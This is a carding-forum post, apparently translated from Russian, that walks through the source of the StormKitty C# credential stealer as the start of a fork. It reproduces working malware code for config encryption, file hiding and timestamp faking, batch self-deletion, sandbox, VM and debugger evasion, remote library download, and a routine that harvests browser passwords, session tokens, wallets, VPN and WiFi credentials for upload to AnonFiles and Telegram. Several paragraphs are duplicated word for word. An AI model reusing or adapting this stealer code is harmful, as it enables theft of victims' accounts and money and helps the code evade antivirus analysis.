We disassemble the StormKitty stealer, make a fork

Carding 4 Carders

Professional
Messages
2,731
Reputation
13
Reaction score
1,367
Points
113
In such publications, we will examine under a microscope the source codes (open, leaked, decompiled, to which hands will reach) or disassembler listings of one way or another known in our narrow circles of malware. We will peer at the general architecture of the Malvarka project, its individual modules and algorithms, right down to code fragments.

From time to time, in our cozy community, the "Storm Kitty" (aka "StormKitty") is mentioned in a good or bad way. Then some grief programmer or huckster will collect it under a new name and sell it for a fortune. This is all accompanied by a certain amount of shit on the forum, discussion of the meanings of kulkhackers' lives, old boy grumbling about what was better before, and so on. Therefore, I decided to start this series of articles with the "Storm Kitten". Moreover, it is written in C #, which should slightly simplify the understanding of the source code by neophytes (when there is no need to be particularly distracted by memory and descriptor management, as in C ++, for example, in C # the garbage collector does it for us).

Let's start with what this Storm Kitten is. This is a classic open source stealer hosted on Github under almost the most liberal license - "MIT" (although who cares about open source licenses here, really). Now the author has transferred it to the archive, that is, most likely the project will not develop further. The functionality of the project, in general, is the same as that of the most ordinary stealer, works with browsers based on Chromium, with Firefox, with "Donkey" (Internet Explorer) and Edge, collects files of certain extensions, session files of several different programs, accounts from Outlook and Pidgin, can provide itself with autorun in the most primitive way, must send logs to AnonFiles online hosting and Telegram, and so on and so forth. You can still download the entire project from here: https://github.com/LimerBoy/StormKitty Download the sources and unzip them so that in parallel with reading the article you could look at the source code, this will most likely be clearer.

Before we move on to discussing the project code itself, we need to make a small lyrical digression about the presence of malware in the repository. The fact is that in the folder with the project there is a binary dependency in the form of the file "AnonFileApi.dll". The author changed this library three times, but the cunning Github remembers everything, so you can get any of the three versions if you want. The malware embedded in this binary dependency is not of particular interest, but as an exercise you can poke it. Another thing is interesting: it is not formally a violation of the law to upload the source code of some malware for educational purposes on Github.

Now let's move on to the architecture of the project. The entire project is divided into two subprojects: "builder" (a collector program for the stealer, preparing it for direct use) and "stub" (actually the stealer itself, which will be launched on the victim's computer, retrieve valuable information and send it to Telegram and send it to the hosting files AnonFiles). First, let's take a look at the builder project to understand the process of creating the stub executable before moving on to the actual stub code.

The collector is a regular console application that inserts configuration parameters into the stub, such as Telegram identifiers, wallet addresses for the clipper, whether the stub should register itself in autorun or not, and others, and also obfuscates the stub. Regarding the configuration of the Telegram, the collector will check the availability of the API with the specified parameters, which in fact seems to be a pleasant manifestation of the author's concern for his users (they say, if scriptkidis messed up with API identifiers, he would find out about it at the stage of project assembly, and not far later).

The process of embedding configuration data is described in the file "build.cs", the global variable "ConfigValues" receives the values that the user entered into the console. Pay attention to one fun fact: as the name of the mutex for the stub, an MD5 hash is used on behalf of the user and the name of the computer where the build was made. Not that someone in the whole world would need to brute-force this hash to find out the initial values of the computer and user names, but why it had to be done in this way is completely incomprehensible. It would be quite possible to simply make a call to the "Guid.NewGuid" method or take a hash from some less significant system parameters.

C #: Copy to clipboard

Code:
public static Dictionary <string, string> ConfigValues = new Dictionary <string, string>

{

{"Telegram API", ""},

{"Telegram ID", ""},

{"AntiAnalysis", ""},

{"Startup", ""},

{"Grabber", ""},

{"Debug", ""},

{"StartDelay", ""},

{"ClipperBTC", ""},

{"ClipperETH", ""},

{"ClipperXMR", ""},

{"ClipperXRP", ""},

{"ClipperLTC", ""},

{"ClipperBCH", ""},

{"WebcamScreenshot", ""},

{"Keylogger", ""},

{"Clipper", ""},

{"Mutex", crypt.CreateMD5 ($ "{Environment.UserName }@ {Environment.MachineName}")},

};

Some configuration strings are encrypted using AES and strictly fixed salt and password values. Keys could be generated at the stage of assembly and, similarly to strings, they could be sewn into the stub. Although the use of "Rfc2898DeriveBytes" smiled a little, this class obtains keys from a password and salt using a pseudo-random number generator from HMACSHA1, which in theory would be good if the password or at least the salt would change from assembly to assembly. The implementation of this encryption can be found in the crypt.cs file. A strange solution is to convert cipher data into BASE64 strings and add the "CRYPTED:" prefix to everything. Thus, the author does not have to change the data type when he sews encrypted data into the stub (replaces the strings with strings), but it looks like a crutch, one could think of something better.

C #: Copy to clipboard

Code:
public static string EncryptConfig (string value)

{

byte [] encryptedBytes = null;

byte [] bytesToBeEncrypted = Encoding.UTF8.GetBytes (value);

using (MemoryStream ms = new MemoryStream ())

{

using (RijndaelManaged AES = new RijndaelManaged ())

{

AES.KeySize = 256;

AES.BlockSize = 128;

var key = new Rfc2898DeriveBytes (cryptKey, saltBytes, 1000);

AES.Key = key.GetBytes (AES.KeySize / 8);

AES.IV = key.GetBytes (AES.BlockSize / 8);

AES.Mode = CipherMode.CBC;

using (var cs = new CryptoStream (ms, AES.CreateEncryptor (), CryptoStreamMode.Write))

{

cs.Write (bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);

cs.Close ();

}

encryptedBytes = ms.ToArray ();

}

}

return "CRYPTED:" + Convert.ToBase64String (encryptedBytes);

}

Further, the configuration parameters are sewn into the stub using the Mono.Cecil library. This library allows you to parse and modify the formats of .NET assembly structures and bytecode (although for my taste the dnlib library is much easier and more enjoyable to program such things). Formally, this code simply goes through all the methods of all classes in all stub modules, finds in them instructions of the dotnet bytecode "LDSTR" (loading a constant string onto the stack) and replaces the operand with a string from the configuration if the original operand string begins with " --- ". From the point of view of the stub architecture, this solution seems redundant, it would probably make sense to keep all the configuration for the stub in one class and go only through its methods, and not throughout the entire Dotnet assembly (of course, Assembly is meant).

C #: Copy to clipboard

Code:
public static AssemblyDefinition IterValues (AssemblyDefinition definition)

{

foreach (ModuleDefinition definition2 in definition.Modules)

foreach (TypeDefinition definition3 in definition2.Types)

if (definition3.Name.Equals ("Config"))

foreach (MethodDefinition definition4 in definition3.Methods)

if (definition4.IsConstructor && definition4.HasBody)

{

IEnumerator <Instruction> enumerator;

enumerator = definition4.Body.Instructions.GetEnumerator ();

while (enumerator.MoveNext ())

{

var current = enumerator.Current;

if (current.OpCode.Code == Code.Ldstr & current.Operand is object)

{

string str = current.Operand.ToString ();

if (str.StartsWith ("---") && str.EndsWith ("---"))

current.Operand = ReplaceConfigParams (str);

}

}

}

return definition;

}

After stitching the configuration values into the bytecode of the stub, the stub itself is sent for obfuscation using a free obfuscator with open source codes - "ConfuserEx", which has been crawled up and down by various malware (one bird sang to me that it was worn out to such an extent that Kaspersky Anti-Virus, in principle considers .NET executables covered by "ConfuserEx" as suspicious). It would, of course, be better if the author of "Storm Kitten" bothered to redirect the output from the "ConfuserEx" process to his console window (well, to understand what exactly went wrong if the obfuscation failed), but we have what we have (the implementation is in file "obfuscation.cs" and is not of particular interest). In addition, the collector can add an icon to the obfuscated executable file, if needed (implemented in the "icon.cs" file).To add an icon, WinAPI functions are used to work with resources of PE-files, which can be found in the official manuals from the "small-soft" ones (Microsoft, yeah, MSDN is there). At this point, I propose to finish digging into the stub collector and move on to the most interesting - the code of the stub itself.

From the point of view of the architecture of the project, a stub is the main file "program.cs" and a set of modules, more or less normally grouped into folders and subfolders. Let's start looking at the stub from the entry point (the static function "Main" of the "Program" class), so that later on it would be easier to understand how the individual modules interact with each other (in fact, nothing, but still). Don't worry, we'll take a look at some of the interesting modules separately a little later.

At the very beginning of the Main function, a little Dotnet magic is written, which the author of the project has kindly separated for us with the comment "SSL bitch". This is an indication of some class parameters to help the dotnet make HTTPS requests using SSL / TLS. You can read about these parameters on MSDN, but I would like to dwell on the magic number 3072 and why it is as it is. The stub project itself is going for version 4.0, which (scary to think) was released in the bearded 2010th year. So, in this bearded 2010 year in the dot, and in operating systems of the Windows family, no one has thought to use TLS version 1.2 (although this version of the protocol came out a little earlier - in 2008, correct if I was mistaken in the dates of that time, when dinosaurs were big).Therefore, in the enumeration "SecurityProtocolType" in framework 4.0 there is no corresponding TLS 1.2 value (it will appear only in framework 4.5, if memory serves me right). The numerical value of this relatively new enumeration value is 3072, that is, the author of the code sets this value in the hope that the stub will still end up on a modern system with 4.5 frameworks installed or with TLS 1.2 support installed at the system level. To be honest, I don't know if an exception will be thrown if there is no such support, or if the default protocol will be used, write in the comments if you know for sure.that is, the author of the code sets this value in the hope that the stub will still end up on a modern system with 4.5 frameworks installed or with TLS 1.2 support installed at the system level. To be honest, I don't know if an exception will be thrown if there is no such support, or if the default protocol will be used, write in the comments if you know for sure.that is, the author of the code sets this value in the hope that the stub will still end up on a modern system with 4.5 frameworks installed or with TLS 1.2 support installed at the system level. To be honest, I don't know if an exception will be thrown if there is no such support, or if the default protocol will be used, write in the comments if you know for sure.

C #: Copy to clipboard

Code:
// SSL bitch

ServicePointManager.Expect100Continue = true;

ServicePointManager.SecurityProtocol = (SecurityProtocolType) 3072;

ServicePointManager.DefaultConnectionLimit = 9999;

Further along the code, there is a classic malware protection against restarting, experienced programmers and reversers should understand everything here, but for neophytes, you can explain a little. The point is that a global named mutex (an operating system primitive for synchronizing processes) is being created. The Dotnet mutex constructor returns information about whether the mutex was created or already existed before and was opened. Accordingly, if the stub was launched several times, then its first process will create a mutex and will work, and the global named mutex will exist until this process ends. All subsequent processes will “see” that the mutex already exists and will exit. It is clear that the presence of an additional global named mutex in the system can give out malware running on the system (if you knowwhat the name of the mutex corresponds to the malware), but this stealer is already started in a separate process, so it doesn't matter.

C #: Copy to clipboard

internal sealed class MutexControl

{

// Prevent the program from running twice

public static void Check ()

{

bool createdNew = false;

Mutex currentApp = new Mutex (false, Config.Mutex, out createdNew);

if (! createdNew)

Environment.Exit (1);

}

}

Then the stub checks if the executable file is in a special hidden directory in the most banal way, having previously created it if this directory was absent. If the stub executable file lies outside this directory, then the file is hidden in the same way, namely, by setting the “hidden” attribute for the file (implemented in the “Implant.Startup” class). Of course, there is no question of any clever ways of hiding the file of speech, and to do it this way in 2020 is only necessary for a tick and one additional item in the list of stealer's features in the topic of selling it, you know. Yes, and there are rumors that some antiviruses find suspicious the behavior in which the executable file assigns the "hidden" attribute to itself, which is not surprising at all. Well, now, let's go further.

C #: Copy to clipboard

Code:
// Change file creation date

public static void SetFileCreationDate (string path = null)

{

string filename = path;

if (path == null) filename = ExecutablePath;

// Log

Logging.Log ("SetFileCreationDate: Changing file" + filename + "creation data");

DateTime time = new DateTime (

DateTime.Now.Year - 2, 5, 22, 3, 16, 28);

File.SetCreationTime (filename, time);

File.SetLastWriteTime (filename, time);

File.SetLastAccessTime (filename, time);

}

// Hide executable

public static void HideFile (string path = null)

{

string filename = path;

if (path == null) filename = ExecutablePath;

// Log

Logging.Log ("HideFile: Adding 'hidden' attribute to file" + filename);

new FileInfo (filename) .Attributes | = FileAttributes.Hidden;

}

After that, the stub checks whether the parameters for the Telegram API are specified in its configuration. If they are absent, self-deletion occurs. It goes without saying, how could it be otherwise, self-removal is implemented according to the classic hackney scheme for malware - by creating and launching a batch file. I really don't like this method, but for some reason I see it just everywhere in any malware. But still, a relatively pleasant bonus of this code is the call "chcp 65001" at the beginning of the batch file (setting the encoding to UTF-8). This is done because the paths to files can contain localized characters (Cyrillic there, for example), and the "File.AppendText" method opens the file to write text in UTF-8 encoding. Many malware authors don't think about it, but here our Vladimir from Ukraine showed that he can pay attention to details (it's a pity that this does not always happen).

C #: Copy to clipboard

Code:
public static void Melt ()

{

// Paths

string batch = Path.GetTempFileName () + ".bat";

string path = System.Reflection.Assembly.GetExecutingAssembly (). Location;

string dll1 = Path.Combine (Path.GetDirectoryName (path), "DotNetZip.dll");

string dll2 = Path.Combine (Path.GetDirectoryName (path), "AnonFileApi.dll");

int currentPid = Process.GetCurrentProcess (). Id;

// Write batch

using (StreamWriter sw = File.AppendText (batch))

{

sw.WriteLine ("chcp 65001");

sw.WriteLine ("TaskKill / F / IM" + currentPid);

sw.WriteLine ("Timeout / T 2 / Nobreak");

sw.WriteLine ($ "Del / ah \" {path} \ "& Del / ah \" {dll1} \ "& Del / ah \" {dll2} \ "");

}

// Log

Logging.Log ("SelfDestruct: Running self destruct procedure ...");

// Start

Process.Start (new ProcessStartInfo ()

{

FileName = "cmd.exe",

Arguments = "/ C" + batch,

WindowStyle = ProcessWindowStyle.Hidden,

CreateNoWindow = true

});

// Wait for exit

System.Threading.Thread.Sleep (5000);

System.Environment.FailFast (null);

}

Further, depending on the configuration, the stub makes or does not make a random pause (from zero to ten seconds). The purpose of this code is not very clear globally, write in the comments your ideas on this matter. The implementation of the pause itself is stored in the Implant.StartDelay class.

C #: Copy to clipboard

Code:
internal sealed class StartDelay

{

// Sleep min, sleep max

private static readonly int SleepMin = 0;

private static readonly int SleepMax = 10;

// Sleep

public static void Run ()

{

int SleepTime = new Random (). Next (

SleepMin * 1000,

SleepMax * 1000

);

Logging.Log ("StartDelay: Sleeping" + SleepTime);

System.Threading.Thread.Sleep (SleepTime);

}

}

Then the stub applies a set of methods to counteract the analysis, in the event that the fact of the analysis is established by the stub, it will display a fake (from the word "false" and not from the word "lie") an error message and call the code for self-removal, which we discussed earlier ... The set of methods for counteracting analysis is pretty standard and, again, is done mainly for show. There is a search for a debugger stub connected to the process using the "CheckRemoteDebuggerPresent" function (this is quite easy to get around, the dnSpy debugger has the corresponding code). There is an attempt to determine the execution inside the emulator using the "Sleep" function. The meaning of this method is that the vast majority of emulators skip all “Sleep” calls, and the internal time value inside the emulator does not change, so you can sleep for 10 milliseconds and check ifwhether at least 10 milliseconds have actually passed. This technique may have worked N years ago, when emulators were stupid and did not take into account "Sleep" in their internal clocks, but in 2020 it is unlikely to help in any way, it may rather be a signature for an antivirus. There is also a check with an HTTP request (to determine the launch on VirusTotal, AnyRun, and so on), check for the presence of various sandboxes within the stub process, check for the presence of some running processes for dynamic malware analysis and check for launch inside the virtual infrastructure. For a more or less experienced reverse engineer, all these checks should not cause special problems, but antiviruses, on the other hand, may not be indifferent to them.when emulators were dumb and did not take "Sleep" into account in their internal clocks, but in 2020 this is unlikely to help in any way, rather it may be a signature for an antivirus. There is also a check with an HTTP request (to determine the launch on VirusTotal, AnyRun, and so on), check for the presence of various sandboxes within the stub process, check for the presence of some running processes for dynamic malware analysis and check for launch inside the virtual infrastructure. For a more or less experienced reverse engineer, all these checks should not cause special problems, but antiviruses, on the other hand, may not be indifferent to them.when emulators were dumb and did not take into account "Sleep" in their internal clocks, but in 2020 this is unlikely to help in any way, rather it may be a signature for an antivirus. There is also a check with an HTTP request (to determine the launch on VirusTotal, AnyRun, and so on), check for the presence of various sandboxes within the stub process, check for the presence of some running processes for dynamic malware analysis and check for launch inside the virtual infrastructure. For a more or less experienced reverse engineer, all these checks should not cause special problems, but antiviruses, on the other hand, may not be indifferent to them. AnyRun and so on), checking for the presence of various sandboxes inside the stub process, checking for some running processes for dynamic malware analysis and checking for launching inside the virtual infrastructure. For a more or less experienced reverse engineer, all these checks should not cause special problems, but antiviruses, on the other hand, may not be indifferent to them.AnyRun and so on), checking for the presence of various sandboxes inside the stub process, checking for the presence of some running processes for dynamic malware analysis and checking for launching inside the virtual infrastructure. For a more or less experienced reverse engineer, all these checks should not cause special problems, but antiviruses, on the other hand, may not be indifferent to them.

C #: Copy to clipboard

Code:
internal sealed class AntiAnalysis

{

// CheckRemoteDebuggerPresent (Detect debugger)

[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]

private static extern bool CheckRemoteDebuggerPresent (IntPtr hProcess, ref bool isDebuggerPresent);

// GetModuleHandle (Detect SandBox)

[DllImport ("kernel32.dll")]

private static extern IntPtr GetModuleHandle (string lpModuleName);

/// <summary>

/// Returns true if the file is running in debugger; otherwise returns false

/// </summary>

public static bool Debugger ()

{

bool isDebuggerPresent = false;

try

{

CheckRemoteDebuggerPresent (Process.GetCurrentProcess (). Handle, ref isDebuggerPresent);

return isDebuggerPresent;

} catch {}

return isDebuggerPresent;

}

/// <summary>

/// Returns true if the file is running in emulator; otherwise returns false

/// </summary>

public static bool Emulator ()

{

try

{

long ticks = DateTime.Now.Ticks;

System.Threading.Thread.Sleep (10);

if (DateTime.Now.Ticks - ticks <10L)

return true;

}

catch {}

return false;

}

/// <summary>

/// Returns true if the file is running on the server (VirusTotal, AnyRun); otherwise returns false

/// </summary>

public static bool Hosting ()

{

try

{

string status = new System.Net.WebClient ()

.DownloadString (

StringsCrypt.Decrypt (new byte [] {150, 74, 225, 199, 246, 42, 22, 12, 92, 2, 165, 125, 115, 20, 210, 212, 231, 87, 111, 21, 89 , 98, 65, 247, 202, 71, 238, 24, 143, 201, 231, 207, 181, 18, 199, 100, 99, 153, 55, 114, 55, 39, 135, 191, 144, 26 , 106, 93,}));

return status.Contains ("true");

} catch {}

return false;

}

/// <summary>

/// Returns true if a process is started from the list; otherwise, returns false

/// </summary>

public static bool Processes ()

{

Process [] running_process_list = Process.GetProcesses ();

string [] selected_process_list = new string [] {

"processhacker",

"netstat", "netmon", "tcpview", "wireshark",

"filemon", "regmon", "cain"

};

foreach (Process process in running_process_list)

if (selected_process_list.Contains (process.ProcessName.ToLower ()))

return true;

return false;

}

/// <summary>

/// Returns true if the file is running in sandbox; otherwise returns false

/// </summary>

public static bool SandBox ()

{

string [] dlls = new string [5]

{

"SbieDll",

"SxIn",

"Sf2",

"snxhk",

"cmdvrt32"

};

foreach (string dll in dlls)

if (GetModuleHandle (dll + ".dll"). ToInt32 ()! = 0)

return true;

return false;

}

/// <summary>

/// Returns true if the file is running in VirtualBox or VmWare; otherwise returns false

/// </summary>

public static bool VirtualBox ()

{

using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher ("Select * from Win32_ComputerSystem"))

try

{

using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get ())

foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)

if ((managementBaseObject ["Manufacturer"]. ToString (). ToLower () == "microsoft corporation" &&

managementBaseObject ["Model"]. ToString (). ToUpperInvariant (). Contains ("VIRTUAL")) ||

managementBaseObject ["Manufacturer"]. ToString (). ToLower (). Contains ("vmware") ||

managementBaseObject ["Model"]. ToString () == "VirtualBox")

return true;

}

catch {}

foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher ("root \\ CIMV2", "SELECT * FROM Win32_VideoController"). Get ())

if (managementBaseObject2.GetPropertyValue ("Name"). ToString (). Contains ("VMware")

&& managementBaseObject2.GetPropertyValue ("Name"). ToString (). Contains ("VBox"))

return true;

return false;

}

/// <summary>

/// Detect virtual enviroment

/// </summary>

public static bool Run ()

{

if (Config.AntiAnalysis == "1")

{

if (Hosting ()) Logging.Log ("AntiAnalysis: Hosting detected!", true);

if (Processes ()) Logging.Log ("AntiAnalysis: Process detected!", true);

if (VirtualBox ()) Logging.Log ("AntiAnalysis: Virtual machine detected!", true);

if (SandBox ()) Logging.Log ("AntiAnalysis: SandBox detected!", true);

// if (Emulator ()) Logging.Log ("AntiAnalysis: Emulator detected!", true);

if (Debugger ()) Logging.Log ("AntiAnalysis: Debugger detected!", true);

}

return false;

}

/// <summary>

/// Run fake error message and self destruct

/// </summary>

public static void FakeErrorMessage ()

{

string code = StringsCrypt.GenerateRandomData ("1");

code = "0x" + code.Substring (0, 5);

Logging.Log ("Sending fake error message box with code:" + code);

MessageBox.Show ("Exit code" + code, "Runtime error",

MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);

SelfDestruct.Melt ();

}

}

After that, for some reason, the stub sets the value of its working folder to the current working directory (it was described earlier). It smells suspiciously of shitty code, because in principle, in the development of any software, working on relative paths is a taboo (or “strict ban.” This is an important piece of advice that should be understood by neophytes: always work on absolute paths to files and directories.

C #: Copy to clipboard

Code:
// Change working directory to appdata

System.IO.Directory.SetCurrentDirectory (Paths.InitWorkDir ());

Next, the stub downloads two libraries straight from the Github account of our Vladimir from Ukraine: "DotNetZip" and "AnonFileApi" (the same one with the embedded malware of Mr. Kulkhatsker Vladimir). Stub, just in case, tries to download these libraries three times, and if successful, assigns the "hidden" file attribute to these libraries and changes the file creation date. This code is, of course, very ugly written (using while instead of the completely appropriate for loop in this case, checking for the file existence four times, and so on), causes some bleeding from the eyes.

C #: Copy to clipboard

Code:
public static bool LoadRemoteLibrary (string library)

{

int i = 0;

string dll = Path.Combine (Path.GetDirectoryName (Startup.ExecutablePath), Path.GetFileName (new Uri (library) .LocalPath));

while (i <3)

{

i ++;

if (! File.Exists (dll))

{

try

{

using (var client = new WebClient ())

client.DownloadFile (library, dll);

}

catch (WebException)

{

Logging.Log ("LibLoader: Failed to download library" + dll);

System.Threading.Thread.Sleep (2000);

continue;

}

Startup.HideFile (dll);

Startup.SetFileCreationDate (dll);

}

}

return File.Exists (dll);

}

Then the stub decrypts the configuration values that were encrypted by the collector (the encryption algorithm was already described earlier), and checks the validity of the Telegram token API. If the token is not valid, self-deletion occurs. Well, after all these preparations, there is a direct collection of passwords and other useful information, packing them into a ZIP archive, uploading the ZIP archive to the AnonFiles service and sending a link to download the uploaded file to Telegram. In addition, the stub should send information about the computer from which the just sent ZIP archive was collected in the trail after the link. The algorithms themselves are not of particular interest, and it is very long to describe each of them. I will only note that the implementation of all this is in the classes "Report.Telegram", "Filemanager" and "SystemInfo".Well, we will consider some algorithms for collecting passwords and other valuable information separately (this is the most interesting thing in stealers, right?).

C #: Copy to clipboard

Code:
// Decrypt config strings

Config.Init ();

// Test telegram API token

if (! Telegram.Report.TokenIsValid ())

Implant.SelfDestruct.Melt ();

// Steal passwords

string passwords = Passwords.Save ();

// Compress directory

string archive = Filemanager.CreateArchive (passwords);

// Send archive

Telegram.Report.SendReport (archive);

After completing the main functionality in the previous step, the stub has two options for the development of events: either complete the execution and self-delete, or (if the clipper and / or keylogger are enabled) continue to work by launching these components in separate threads (again, if when assembling the stub in the configuration they were included). The main thread is idle, waiting for the clipper and keylogger threads to complete.

C #: Copy to clipboard

Code:
// Run keylogger module

if (Config.KeyloggerModule == "1" && (Counter.BankingServices || Counter.Telegram) && Config.Autorun == "1")

{

Logging.Log ("Starting keylogger modules ...");

W_Thread = WindowManager.MainThread;

W_Thread.SetApartmentState (ApartmentState.STA);

W_Thread.Start ();

}

// Run clipper module

if (Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1")

{

Logging.Log ("Starting clipper modules ...");

C_Thread = ClipboardManager.MainThread;

C_Thread.SetApartmentState (ApartmentState.STA);

C_Thread.Start ();

}

// Wait threads

if (W_Thread! = null) if (W_Thread.IsAlive) W_Thread.Join ();

if (W_Thread! = null) if (C_Thread.IsAlive) C_Thread.Join ();

Architecturally, the clipper is made quite absurdly in my opinion, it is divided into several modules, each time the clipboard value is received and set, for some reason, a separate thread is created, while everything could be done in one main thread. To replace the contents of the clipboard, search by regular expressions is used, in addition, the original contents of the clipboard are logged to a file. The check that a new line has appeared on the clipboard occurs every two seconds. It seems to me that everyone should have learned long ago to check the identifiers of their cryptocurrency wallets when they are copied and pasted to. Clipper is implemented by several classes from the "Clipper" folder and the main control class "ClipboardManager".

The keylogger is synchronous and implemented according to the classic malware scheme using the "SetWindowsHookEx" function. For neophytes, it can be explained that this function (when called with the WH_KEYBOARD_LL parameter) sets a handler for system events related to the keyboard, in particular keystrokes. In principle, such a code can be seen in absolutely any other keylogger, and it is hardly necessary to come up with something new here. To get a specific character from the scan code and virtual key code, the ToUnicodeEx function is used, taking into account the current layout obtained using the GetKeyboardLayout function. Such a keylogger will not be able to detect the input of some tricky characters (for example, German, which require the successive pressing of two different keys), but in principle it should perform its function properly.A funny feature of the keylogger module is the search for open browser tabs with porn sites. If such a site is open, the keylogger module tries to take a screenshot of the screen and a snapshot with a webcam. Immediately I recall the very letters with threats about this, which were massively sent by mail to everyone in a row some time ago. The presence of this functionality in the keylogger module seems to be such nonsense, but we have what we have. The screenshot is implemented using .NET classes, and the webcam image is implemented using functions from the system library "avicap32.dll". I’m pretty sure you’ll find roughly similar code by looking at the first link on StackOverflow for “.net screenshot example” and “.net webcamshot example” or something like that. The keylogger is implemented by several classes from the "Keylogger" folder and the "WindowManager" class, and yes,this also seems very redundant in terms of the project architecture.

Well, now let's go directly to the functionality of the stealer of this "Storm Kitten". The main functionality for collecting valuable password and other information is divided into separate modules, each of which is called separately by the method of the "Report.CreateReport" class in a separate thread. At the same time, it is scary to think about it, but 23 threads are launched at the same time (well, I counted 23 threads, maybe I was mistaken by plus / minus 1-2). History is silent as to why it was impossible to do this iteratively, and not in parallel, while not so heavily loading the operating system. It is clear that splitting into threads will slightly speed up all processing due to file I / O, but 23 loaded threads are enough, 23 threads, Karl! The main thread waits for the completion of all newborn threads and only after their completion continues execution.

C #: Copy to clipboard

Code:
public static bool CreateReport (string sSavePath)

{

// List with threads

List <Thread> Threads = new List <Thread> ();

try

{

// Collect files (documents, databases, images, source codes)

if (Config.GrabberModule == "1")

Threads.Add (new Thread (() =>

FileGrabber.Run (sSavePath + "\\ Grabber")

));

// Chromium & Edge thread (credit cards, passwords, cookies, autofill, history, bookmarks)

Threads.Add (new Thread (() =>

{

Chromium.Recovery.Run (sSavePath + "\\ Browsers");

Edge.Recovery.Run (sSavePath + "\\ Browsers");

}));

// Firefox thread (logins.json, db files, cookies, history, bookmarks)

Threads.Add (new Thread (() =>

Firefox.Recovery.Run (sSavePath + "\\ Browsers")

));

// Internet explorer thread (logins)

Threads.Add (new Thread (() =>

InternetExplorer.Recovery.Run (sSavePath + "\\ Browsers")

));

// Write discord tokens

Threads.Add (new Thread (() =>

Discord.WriteDiscord (

Discord.GetTokens (),

sSavePath + "\\ Messenger \\ Discord")

));

// Write pidgin accounts

Threads.Add (new Thread (() =>

Pidgin.Get (sSavePath + "\\ Messenger \\ Pidgin")

));

// Write outlook accounts

Threads.Add (new Thread (() =>

Outlook.GrabOutlook (sSavePath + "\\ Messenger \\ Outlook")

));

// Write telegram session

Threads.Add (new Thread (() =>

Telegram.GetTelegramSessions (sSavePath + "\\ Messenger \\ Telegram")

));

// Write skype session

Threads.Add (new Thread (() =>

Skype.GetSession (sSavePath + "\\ Messenger \\ Skype")

));

// Steam & Uplay sessions collection

Threads.Add (new Thread (() =>

{

// Write steam session

Steam.GetSteamSession (sSavePath + "\\ Gaming \\ Steam");

// Write uplay session

Uplay.GetUplaySession (sSavePath + "\\ Gaming \\ Uplay");

// Write battle net session

BattleNET.GetBattleNETSession (sSavePath + "\\ Gaming \\ BattleNET");

}));

// Minecraft collection

Threads.Add (new Thread (() =>

Minecraft.SaveAll (sSavePath + "\\ Gaming \\ Minecraft")

));

// Write wallets

Threads.Add (new Thread (() =>

Wallets.GetWallets (sSavePath + "\\ Wallets")

));

// Write FileZilla

Threads.Add (new Thread (() =>

FileZilla.WritePasswords (sSavePath + "\\ FileZilla")

));

// Write VPNs

Threads.Add (new Thread (() =>

{

ProtonVPN.Save (sSavePath + "\\ VPN \\ ProtonVPN");

OpenVPN.Save (sSavePath + "\\ VPN \\ OpenVPN");

NordVPN.Save (sSavePath + "\\ VPN \\ NordVPN");

}));

// Get directories list

Threads.Add (new Thread (() =>

{

Directory.CreateDirectory (sSavePath + "\\ Directories");

DirectoryTree.SaveDirectories (sSavePath + "\\ Directories");

}));

// Create directory to save system information

Directory.CreateDirectory (sSavePath + "\\ System");

// Process list & active windows list

Threads.Add (new Thread (() =>

{

// Write process list

ProcessList.WriteProcesses (sSavePath + "\\ System");

// Write active windows titles

ActiveWindows.WriteWindows (sSavePath + "\\ System");

}));

// Desktop & Webcam screenshot

Thread dwThread = new Thread (() =>

{

// Create dekstop screenshot

DesktopScreenshot.Make (sSavePath + "\\ System");

// Create webcam screenshot

WebcamScreenshot.Make (sSavePath + "\\ System");

});

dwThread.SetApartmentState (ApartmentState.STA);

Threads.Add (dwThread);

// Saved wifi passwords

Threads.Add (new Thread (() =>

{

// Fetch saved WiFi passwords

Wifi.SavedNetworks (sSavePath + "\\ System");

// Fetch all WiFi networks with BSSID

Wifi.ScanningNetworks (sSavePath + "\\ System");

}

)) ;;

// Windows product key

Threads.Add (new Thread (() =>

// Write product key

File.WriteAllText (sSavePath + "\\ System \\ ProductKey.txt",

ProductKey.GetWindowsProductKeyFromRegistry ())

));

// Debug logs

Threads.Add (new Thread (() =>

Logging.Save (sSavePath + "\\ System \\ Debug.txt")

));

// System info

Threads.Add (new Thread (() =>

SysInfo.Save (sSavePath + "\\ System \\ Info.txt")

));

// Clipboard text

Threads.Add (new Thread (() =>

File.WriteAllText (sSavePath + "\\ System \\ Clipboard.txt",

Clipper.Clipboard.GetText ())

));

// Get installed apps

Threads.Add (new Thread (() =>

InstalledApps.WriteAppsList (sSavePath + "\\ System")

));

// Start all threads

foreach (Thread t in Threads)

t.Start ();

// Wait all threads

foreach (Thread t in Threads)

t.Join ();

return Logging.Log ("Report created", true);

}

catch (Exception ex) {

return Logging.Log ("Failed to create report, error: \ n" + ex, false);

}

}

The first thread is responsible for collecting files with extensions specified in the stub configuration. These files are simply copied from the user's desktop, from the folders "My Documents", "My Pictures", "Downloads", as well as from the folders of cloud storage OneDrive and DropBox. The implementation of this functionality is in the "FileGrabber" class and is not of particular interest, it is just searching and copying files.

The second stream collects passwords and other valuable information from Chrome and Edge browsers. Let's take a closer look at the implementation. Chromium-based browsers have two types of encrypted information storage, in particular passwords. Until the 80th version of Chromium, valuable information was simply covered with local encryption using DPAPI. Since the 80th version, Chromium (and many other browsers based on it) began to use a master key (encrypted using DPAPI), on which data was then encrypted and decrypted using a slightly tricky version of AES - in GCM mode (Galois / Counter Mode or counter with Galois authentication), this mode is now very widely used in software and is considered very effective. For,to distinguish the two modes of encrypted data, Chromium-based browsers use prefixes to encrypted binary data. In general, the prefix "v10" and "v11" means that the master key and AES in GCM mode were used for this particular cipher data. And its absence (DPAPI header) means that the old method was used - the use of DPAPI, as simple as 5 kopecks, was used. Implementation of DPAPI decryption and master key retrieval is in the "Chromium.Crypto" class. It is worth noting that using the native function "CryptUnprotectData" in .NET for these purposes does not make much sense, since the framework has a ready-made static method "ProtectedData.Unprotect". As will be seen further, our Vladimir from Ukraine knew about this method, but for some reason did not use it here (cough-cough, fucking copy-paste, cough-cough).The master key is stored in the "Local State" file and is retrieved from it using regular expressions (originally this file is in JSON format). 